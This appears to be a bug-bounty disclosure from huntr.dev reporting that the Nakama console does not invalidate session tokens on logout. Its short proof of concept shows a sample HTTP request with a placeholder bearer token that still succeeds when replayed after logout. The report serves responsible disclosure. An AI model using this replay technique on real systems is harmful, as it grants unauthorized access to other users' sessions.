Lucene search

K
huntrNerrorsec35ACF263-6DB4-4310-AB27-4C3C3A53F796
HistoryMay 24, 2022 - 2:00 p.m.

Session tokens are not invalidated on logout

2022-05-2414:00:27
nerrorsec
www.huntr.dev
19

0.001 Low

EPSS

Percentile

30.3%

Description

The session cookie is not invalidated on logout so, it can be used after logout as well.

Proof of Concept

Login to the Nakama console.
Intercept the request. Below is a sample request:

GET /v2/console/user HTTP/1.1
Host: localhost:7351
Accept: application/json, text/plain, */*
Authorization: Bearer <token>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Referer: http://localhost:7351/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Logout from the application.
Replay the request. Response is received as an authorized user.

0.001 Low

EPSS

Percentile

30.3%

Related for 35ACF263-6DB4-4310-AB27-4C3C3A53F796